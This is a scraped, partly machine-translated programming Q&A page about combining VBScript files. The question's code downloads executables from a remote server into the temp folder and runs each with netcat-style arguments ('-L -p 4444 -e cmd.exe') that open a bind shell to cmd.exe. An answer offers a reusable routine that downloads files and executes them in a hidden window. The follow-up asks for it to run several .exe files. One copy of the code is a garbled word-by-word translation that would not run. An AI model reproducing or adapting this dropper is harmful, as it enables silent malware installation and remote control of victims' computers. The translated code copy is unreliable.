Vbscript 如何将同一函数的多个.vbs脚本组合成一个.vbs脚本?

Vbscript 如何将同一函数的多个.vbs脚本组合成一个.vbs脚本?,vbscript,Vbscript,我正在尝试将下面的.vbs脚本合并成一个.vbs。下面是我的代码示例: dim http_obj dim stream_obj dim shell_obj set http_obj = CreateObject("Microsoft.XMLHTTP") set stream_obj = CreateObject("ADODB.Stream") set shell_obj = CreateObject("WScript.Shell") URL = "http://server.com/downlo

我正在尝试将下面的.vbs脚本合并成一个.vbs。下面是我的代码示例:

dim http_obj
dim stream_obj
dim shell_obj
set http_obj = CreateObject("Microsoft.XMLHTTP")
set stream_obj = CreateObject("ADODB.Stream")
set shell_obj = CreateObject("WScript.Shell")
URL = "http://server.com/download1.exe" 'Where to download the file from
FILENAME = "%Tmp%\download1.exe" 'Name to save the file (on the local system)
RUNCMD = "%Tmp%\download1.exe -L -p 4444 -e cmd.exe"
http_obj.open "GET", URL, False
http_obj.send
stream_obj.type = 1
stream_obj.open
stream_obj.write http_obj.responseBody
stream_obj.savetofile FILENAME, 2
shell_obj.run RUNCMD

Next

dim http_obj
dim stream_obj
dim shell_obj
set http_obj = CreateObject("Microsoft.XMLHTTP")
set stream_obj = CreateObject("ADODB.Stream")
set shell_obj = CreateObject("WScript.Shell")
URL = "http://server.com/download2.exe" 'Where to download the file from
FILENAME = "%Tmp%\download2.exe" 'Name to save the file (on the local system)
RUNCMD = "%Tmp%\download2.exe -L -p 4444 -e cmd.exe"
http_obj.open "GET", URL, False
http_obj.send
stream_obj.type = 1
stream_obj.open
stream_obj.write http_obj.responseBody
stream_obj.savetofile FILENAME, 2
shell_obj.run RUNCMD

Next

dim http_obj
dim stream_obj
dim shell_obj
set http_obj = CreateObject("Microsoft.XMLHTTP")
set stream_obj = CreateObject("ADODB.Stream")
set shell_obj = CreateObject("WScript.Shell")
URL = "http://server.com/download3.exe" 'Where to download the file from
FILENAME = "%Tmp%\download3.exe" 'Name to save the file (on the local system)
RUNCMD = "%Tmp%\download3.exe -L -p 4444 -e cmd.exe"
http_obj.open "GET", URL, False
http_obj.send
stream_obj.type = 1
stream_obj.open
stream_obj.write http_obj.responseBody
stream_obj.savetofile FILENAME, 2
shell_obj.run RUNCMD
当我试着运行上面的代码时,我总是得到一个错误,如下图所示:

修复此问题或使脚本在继续下一步之前等待并完成的最佳解决方案。将不胜感激

我尝试过的: 我试过使用:
接下来是WScript.Sleep 1000和Delay语法,但它们都没有按预期工作

除了报告的一个问题外,我还看到了您的示例脚本的其他几个问题:没有关闭ADODB.Stream。例如,重新调校以前调校的变量,
Next
不为调校
,缺少代码重用等

看看这是否有帮助(未测试):

我还建议进行一些错误处理,在使用ResponseBy之前检查http_obj状态是否有正确的响应代码,在运行RUNCMD之前检查文件是否存在,如果文件很大并且启用了访问扫描,则可能在stream close和RUNCMD之间短暂休眠


享受。

以下是一个从internet下载一些图像并执行它们的示例,因此您可以从这些代码中获得灵感,并根据自己的目的进行更改:

Option Explicit
Dim ws,TempFolder,Arr_Images,Img,Save2File
Set ws = CreateObject("WScript.Shell")
TempFolder = ws.ExpandEnvironmentStrings("%Temp%")

Arr_Images = Array(_
"https://apod.nasa.gov/apod/image/2001/DesertEclipse_Daviron_960.jpg",_
"https://apod.nasa.gov/apod/image/2001/ic410_WISEantonucci_960.jpg",_
"https://apod.nasa.gov/apod/image/2001/StoneyWay_Jacobs_960.jpg",_
"https://apod.nasa.gov/apod/image/2001/RubinsGalaxy_hst1024.jpg",_
"https://images.pexels.com/photos/414612/pexels-photo-414612.jpeg"_
)

For each Img in Arr_Images
    Save2File = TempFolder & "\" & GetFileNamefromDirectLink(Img)
    Download Img,Save2File
    Execute Save2File
Next
wscript.echo "Done"
'----------------------------------------------------------------------------------------------------
Sub Download(URL,Save2File)
    Dim File,Line,BS,ws
    On Error Resume Next
    Set File = CreateObject("WinHttp.WinHttpRequest.5.1")
    File.Open "GET",URL, False
    File.Send()
    If err.number <> 0 then
        Line  = Line &  vbcrlf & "Error Getting File"
        Line  = Line &  vbcrlf & "Error " & err.number & "(0x" & hex(err.number) & ") " &  vbcrlf &_
        err.description
        Line  = Line &  vbcrlf & "Source " & err.source
        MsgBox Line,vbCritical,"Error getting file"
        Err.clear
        wscript.quit
    End If
    If File.Status = 200 Then ' File exists and it is ready to be downloaded
        Set BS = CreateObject("ADODB.Stream")
        Set ws = CreateObject("wscript.Shell")
        BS.type = 1
        BS.open
        BS.Write File.ResponseBody
        BS.SaveToFile Save2File, 2
    ElseIf File.Status = 404 Then
        MsgBox "File Not found : " & File.Status,vbCritical,"Error File Not Found"
    Else
        MsgBox "Unknown Error : " & File.Status,vbCritical,"Error getting file"
    End If
End Sub
'-------------------------------------------------------------------------------------------------
Function GetFileNamefromDirectLink(URL)
    Dim ArrFile,FileName
    ArrFile = Split(URL,"/")
    FileName = ArrFile(UBound(ArrFile))
    GetFileNamefromDirectLink = FileName
End Function
'-------------------------------------------------------------------------------------------------
Function Execute(StrCmd)
        Dim ws,MyCmd,Result
        Set ws = CreateObject("wscript.Shell")
        MyCmd = "CMD /C " & StrCmd & " "
        Result = ws.run(MyCmd,0,True)
        Execute = Result
End Function
'-------------------------------------------------------------------------------------------------
选项显式
Dim ws、TempFolder、Arr_图像、Img、Save2文件
设置ws=CreateObject(“WScript.Shell”)
TempFolder=ws.ExpandEnvironmentString(“%Temp%”)
Arr_图像=阵列(_
"https://apod.nasa.gov/apod/image/2001/DesertEclipse_Daviron_960.jpg",_
"https://apod.nasa.gov/apod/image/2001/ic410_WISEantonucci_960.jpg",_
"https://apod.nasa.gov/apod/image/2001/StoneyWay_Jacobs_960.jpg",_
"https://apod.nasa.gov/apod/image/2001/RubinsGalaxy_hst1024.jpg",_
"https://images.pexels.com/photos/414612/pexels-photo-414612.jpeg"_
)
对于Arr_图像中的每个Img
Save2File=TempFolder&“\”&GetFileNamefromDirectLink(Img)
下载Img,Save2File
执行Save2File
下一个
wscript.echo“完成”
'----------------------------------------------------------------------------------------------------
子下载(URL,Save2File)
Dim文件、行、BS、ws
出错时继续下一步
Set File=CreateObject(“WinHttp.WinHttpRequest.5.1”)
文件。打开“获取”,URL,False
File.Send()文件
如果错误号为0,则
Line=Line&vbcrlf&“获取文件时出错”
Line=Line&vbcrlf&“Error”&errr.number&“(0x”&hex(err.number)&“”&vbcrlf&_
错误描述
Line=Line&vbcrlf&“Source”&err.Source
MsgBox行,vbCritical,“获取文件时出错”
清楚
wscript.quit
如果结束
如果File.Status=200,则“文件”存在,可以下载
设置BS=CreateObject(“ADODB.Stream”)
设置ws=CreateObject(“wscript.Shell”)
BS.type=1
英国公开赛
BS.Write File.ResponseBody
BS.SaveToFile Save2File,2
ElseIf File.Status=404然后
MsgBox“未找到文件:”&文件状态,vbCritical,“未找到错误文件”
其他的
MsgBox“未知错误:”&File.Status,vbCritical,“获取文件时出错”
如果结束
端接头
'-------------------------------------------------------------------------------------------------
函数GetFileNamefromDirectLink(URL)
文件名
ArrFile=Split(URL“/”)
FileName=ArrFile(UBound(ArrFile))
GetFileNamefromDirectLink=文件名
端函数
'-------------------------------------------------------------------------------------------------
函数执行(StrCmd)
Dim ws、MyCmd、结果
设置ws=CreateObject(“wscript.Shell”)
MyCmd=“CMD/C”和StrCmd&“
结果=ws.run(MyCmd,0,True)
执行=结果
端函数
'-------------------------------------------------------------------------------------------------

我需要一个接一个地下载和执行多个文件。我该怎么做呢?我已经厌倦了这个方法,但它对我不起作用。这个代码如何为Fowlowing实现请:下载为:,另存为:filea_a.exe,fileb_b.exe,filec_c.exe然后执行:filea_a.exe,fileb_b.exe,filec_c.exe
Option Explicit
Dim ws,TempFolder,Arr_Images,Img,Save2File
Set ws = CreateObject("WScript.Shell")
TempFolder = ws.ExpandEnvironmentStrings("%Temp%")

Arr_Images = Array(_
"https://apod.nasa.gov/apod/image/2001/DesertEclipse_Daviron_960.jpg",_
"https://apod.nasa.gov/apod/image/2001/ic410_WISEantonucci_960.jpg",_
"https://apod.nasa.gov/apod/image/2001/StoneyWay_Jacobs_960.jpg",_
"https://apod.nasa.gov/apod/image/2001/RubinsGalaxy_hst1024.jpg",_
"https://images.pexels.com/photos/414612/pexels-photo-414612.jpeg"_
)

For each Img in Arr_Images
    Save2File = TempFolder & "\" & GetFileNamefromDirectLink(Img)
    Download Img,Save2File
    Execute Save2File
Next
wscript.echo "Done"
'----------------------------------------------------------------------------------------------------
Sub Download(URL,Save2File)
    Dim File,Line,BS,ws
    On Error Resume Next
    Set File = CreateObject("WinHttp.WinHttpRequest.5.1")
    File.Open "GET",URL, False
    File.Send()
    If err.number <> 0 then
        Line  = Line &  vbcrlf & "Error Getting File"
        Line  = Line &  vbcrlf & "Error " & err.number & "(0x" & hex(err.number) & ") " &  vbcrlf &_
        err.description
        Line  = Line &  vbcrlf & "Source " & err.source
        MsgBox Line,vbCritical,"Error getting file"
        Err.clear
        wscript.quit
    End If
    If File.Status = 200 Then ' File exists and it is ready to be downloaded
        Set BS = CreateObject("ADODB.Stream")
        Set ws = CreateObject("wscript.Shell")
        BS.type = 1
        BS.open
        BS.Write File.ResponseBody
        BS.SaveToFile Save2File, 2
    ElseIf File.Status = 404 Then
        MsgBox "File Not found : " & File.Status,vbCritical,"Error File Not Found"
    Else
        MsgBox "Unknown Error : " & File.Status,vbCritical,"Error getting file"
    End If
End Sub
'-------------------------------------------------------------------------------------------------
Function GetFileNamefromDirectLink(URL)
    Dim ArrFile,FileName
    ArrFile = Split(URL,"/")
    FileName = ArrFile(UBound(ArrFile))
    GetFileNamefromDirectLink = FileName
End Function
'-------------------------------------------------------------------------------------------------
Function Execute(StrCmd)
        Dim ws,MyCmd,Result
        Set ws = CreateObject("wscript.Shell")
        MyCmd = "CMD /C " & StrCmd & " "
        Result = ws.run(MyCmd,0,True)
        Execute = Result
End Function
'-------------------------------------------------------------------------------------------------